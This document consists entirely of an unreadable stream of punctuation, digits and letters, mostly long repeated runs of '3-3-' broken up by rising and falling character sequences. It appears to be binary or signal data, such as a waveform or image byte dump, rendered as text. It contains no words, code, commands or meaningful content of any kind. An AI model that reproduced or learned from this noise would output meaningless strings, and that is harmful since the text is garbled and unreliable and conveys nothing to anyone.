4+.2+4-36.8,+...7,9-5//0,0/.1-5,9+;+8+3-..,/+0..2.5,6-4.1///.0,.--2,6*7(7)7+4-2.5,8)9)8*7+5,3-3-2.2.4-6+8*9+5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-4.5/81:3:4=6?8@:A<C>D?GAHBKEMGNHPJRLTNWPZR[T]V_WaYc[d^f_haickdmfphqjtlwnxp{q|s}u~wy{|~ķƹɻʼ̿ʿɽǺŸ͵~|z}wyuvrtprmpjlgkeicgae_a\_Y\WYTVRTPRMNKKHIFGCEAB??<<99774422/.-,*)('&%$""     !"!#"&%)(+).,1.316385;8=:A=D?FBIDLGPJQMTOVQWSYU[W^Za\d_gaidlgojrltnwqys|wx{|µ÷ƸȻʽ̿̿ʽȻƹ÷~}{yw|uzrxqvotmslqiohmglejchaf_e]b[aY_W]V[TYRVPSOQLPKOIMGKEICGAF?D>B<A:>8=6;593816/4.3-3-3-3-3,3,2,2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7*8*3.10//1,4+3,2-3-7,:+6,2-4+-/$5$4/.=)@(1,.-3+6+5-/1,01,3,3-4.5.3-2-1,0,/,0,1-2.4/6.4-3,3,.-'/*/1-6);'>';*7,6-7-6-4.2/00.1,2,2-1//2,6*7*5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3,3,4.5/5/618193:5<7>9?;A=D>G@HBIDKEMGOIRLUNWPWQZS\U^X_Yb[c\d^f_hakcmfohrjskumwoxqzs{u~vxz{~µķŸƺɼ̾̾ɻȹƸŶò}|z}wzuxrvoslpjmgjehceab]_[]YZWXTVRSOQMNKMHKEGDE@A>?;<9:684412//,-*+(''%$"!     !#"&%''**-,0-305275:7<9><B>EAHCJFMIPKRNUPWSYUZW]Y`\b^eahckfmhpksmvpyr{u|xy|µöŹǻʽ˿̿ʽȻŹķµ~|{yx}u{tyrwotmslqjohnfldjbgaf_e]b[aY_X]UZSYRXPVNRMPJNIMGKFJCGBF?D=A;@:?9<6;492817/5.4-3-3-2,2,3-3,3,2,2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7*8*2.,1*0/-6*6+4-1/104/0/-/4+5,./0.6+;*<+6,5*7):+9-3/1/4,4,5-5.5/5.4-4,3,3,3,3-4.3/4/4-5+6*0-'0*01.3,8)>(<)5,4-5-4-2/1//0/0/0001/2-5,7+7+5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-4.4.5/6/8193;5<6=8?;C=E?F@GBJDLFOHPJSLTMUOXQZS[U^W`XaZb]e]g`jbldnfohqirkumvoxqys}t~vxz|~·ĸǻȼʾ̾˼ɻǹŷô|~y{vytvptnqlnilgiegbd_a]_[[XZUVSTPRNPMNJKGIDEBC?@=>;;88563301.0,,+*(&%$#!    !$"'%*(++.-10417496;9>;@=B?FBHEKGNJPLSOVRYT[V]Y_[b^d`gbjelhnjqlsnwqzt|v~y{~ķŹƺȼʾʾȼƺ÷|zxw~u|szrxpvntlrjphngldjbh`e]d]c[aY_X]V\TYRWPVNTLRKOINGLEJDHBF@E>B<@9>7=6:492706.6.5-3-3-3-3-2,2,2,3,3,3,2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7+7+2.,/*/.-6+:+9+2.-2+3-11-8*<'='=(<*5.2/6,9':& <*;-6,4,6-7-8-9-9-8-7-6-5.4.5.6-6-4.2/3,5*7+2,-.0.3..00.9*7+2-2,4,3,2-2.2.3-5,6,8+8,8,7-6-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3,3,3-3-3-3-3.707082:3:4=8?:A;B=D?FAICKDMFOHPJQKTMVOXRZT]U^W_YbZd\f^h`kbkcmeofqitlumvoyqzs}uwyz|}·Ĺƺȼʾ̿ʽȻƸķµ}z|xyuxruprnplmjjfgdeab__\]YZWWTURTPRMOKMHIFFCDAA?><;9967452401./,+))'&$#!!    !# %#(&+*-,0/315385:8<:?<B@DBFDJGLIPKRNTPXSZV\Y^[a]c_ebidkgmipksovqxt|v}x{}¶ĸƻȼɾ˿Ƚǻʵ}{yv~t|rzqxowmtkrjphnfldjch`f^d\bZaY_W]U[SYRWOULTLRJPHNFLEICG@F?E>B<A9?8=5;492805.4-5,5,5,3-3-3-3-3-3-3-3-3-3-2-2-2.2.2.2-2-3-3-3-3-3-4-4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,4+3*1-0.2.8,:,7.20003.6,7-6-6,9,;,4//1201.-,1/614.4,5-5-4-4,3,4,4,5-5-5-5-4,4,3-3-4+5*6,6,5+9*7-)4'44-5,1-1-2-3-4,6+7+7+7+6,5,4,2-2.2.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4,4,4,4,4,4,4,4,4,4,4-3-3-3-3-3-3-3-2-5.6/707081:3;6=7?8A:C<E?G@IBLDMENGPHRKUMWOXQZR\T^W`XbZe\f^h_jalcneohqiskumwnyp|r~twyy{}·øƺɽȾǻŹ·|~y{wytvrtppnnjkhiffcd``^_[\YYWWTUQSPQLMKKHHFECB@?==;:98774513//--**''$$!"     # $"&$)'+)..1/327587:8=;?=B@ECHFJHNKPLSPVRWT[W^Z_]b^fahdifmhnjqmtouryu|wz|~¶ĸŹǼȾʿͿʽǻŹĸ}|zxu|s{qyowmvltjqhofmdjbhag_d]c[bY`W^V\U[RXPVNTKRIPGNFMDKBG@D?B=B;A9?8<6<5:3807.6-2,2+4+5,5,3-3-2,2,4.4.3-3-3-3-2-2.2.2.2.2.2-3-3-3-3-3-4,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-4-4-3-3-3-3-3-3-3-3-3-3-3-3-2.3-2.2.2.2.2.2.2.2.1../..3*7)4-00-0206/8/604/6.6.5406.7257444060:+9%8*91:27231.0...----/-1-3,5,7+5+3*2+2+3+4*4+5,6+9)=)9,'5%60/3,1,0.0/3-6,8+:)9)7+5,2-0-....0.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-2,2,4,4-5.5.5.7092:3<4>7@9A;D=F>I@JAKCNEOGQISLUMVOYP[R]T`VbYdZe\h^j_kaldmepgrisjvmyo{q}svwxz}÷ƺǼɾɾȽƻĸ~~z|xyuxsuqrmnkmjjggeebb_`\^[[XXUWTUQRNOLLJIGFDCAA?>=<::795623/1..+*()%%## !     !$!%$(&*).+0-206286;8<;?=B@EBGDJGLINKRNTPVRZU]X`[b^eahcjemgpiqlsouqxtzv}xy|´õŷǺʽ˿˿ɽǻƹĸ}{ywv~t{rwpwnumslqioglejchaf`e^c\aY`W_U[TZQYOVNTLRIOGMELDIBIAF>@<?:>9<7;5:3835.3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-3-3-3-3-3-4,5,5,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-4.4.3-5,5,5,4,3,3,3,3,3,3,4+4+5,5,5,5,6-6-6-6,6+5,5,5,5,4-3-3-3-3-2-0.1.1/2/0/10101001/1021304/5/504351718/91:3;3;3;2<2<3<1>.?/@0@2@1A1C/C.D-E/F0F1D0A3?2</9.5.2./0-2-5+7,8+6+4)3*2,3,2,3-3-4,5,4-/0.02-3,3,3-2.3-4-5,5,5,5,3-3-2-2-2-2-2-2-2-3,3,5,5,5,5,5,3-3-3-3-1.1.2.2-2-3-4-5,4,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.5/71:3;4<7@9A:D<E=G?JAKCLFNHQJRKULVNXP[Q]T`VaXcYd\f^g`iblcmenhpislvnxpzr|t~uwy{|~øźǼʾ˿Ƚƻĸ~|~y{vyswptoqlnilhjffce`c^`\]Z[WYUVRTPPMMLJHHEFCCAA>>;=8:573513.0,.*+'($%""!     "%!&$((+*.-1/317497;:><A?CAFDIFKIMJPLQOUQWTZV\Y_\c^ebhdkgnirkumvpxszv|x~z|~ĶƸȺʾ̿ʾȻƺĸö~}zxv}t|rzpwotmskrjphmfkdhbf`e^b[bZ_X]V]S[RXOWNULSJPHNFLEJBH@F?E>B<=8;7:68472514/3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-3-3-3-3-3-4,5,5,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,4+5,4,3,3,3,2,2+2+3,3,4,4,4,4,4,3+3+3,3,3,3-3.3/30303031211214141526261828292:2;2;3<2<0=0>0?1?1A1A1B1C1D0D1D1F1F0G/G/G0H0H/I0J0K/K/L0N0N/N.N/L1J1G0D0?0;07030/3-3+4+5+4*3+3-2-2-2.2.2.2-2-3-3-3,4,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1-2-3,3,4,5,5,5,4-3-3-3.2/2221203/3.3-4-5,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,4.6/708181=6>7A8C:D=F>G@IBKEMFOGPISJULXO[Q]R^T_WbXd[e]f^g`jbldmfpirkumwoyp{r}tuwy{|·Źǻɽ̿ɾƻʶ}y}w{uzsvproolmjkghdfbc`a^^[\YZVVSUQROOLKIIGFEDBB?@<>9<78562401..+*((&%$#!"    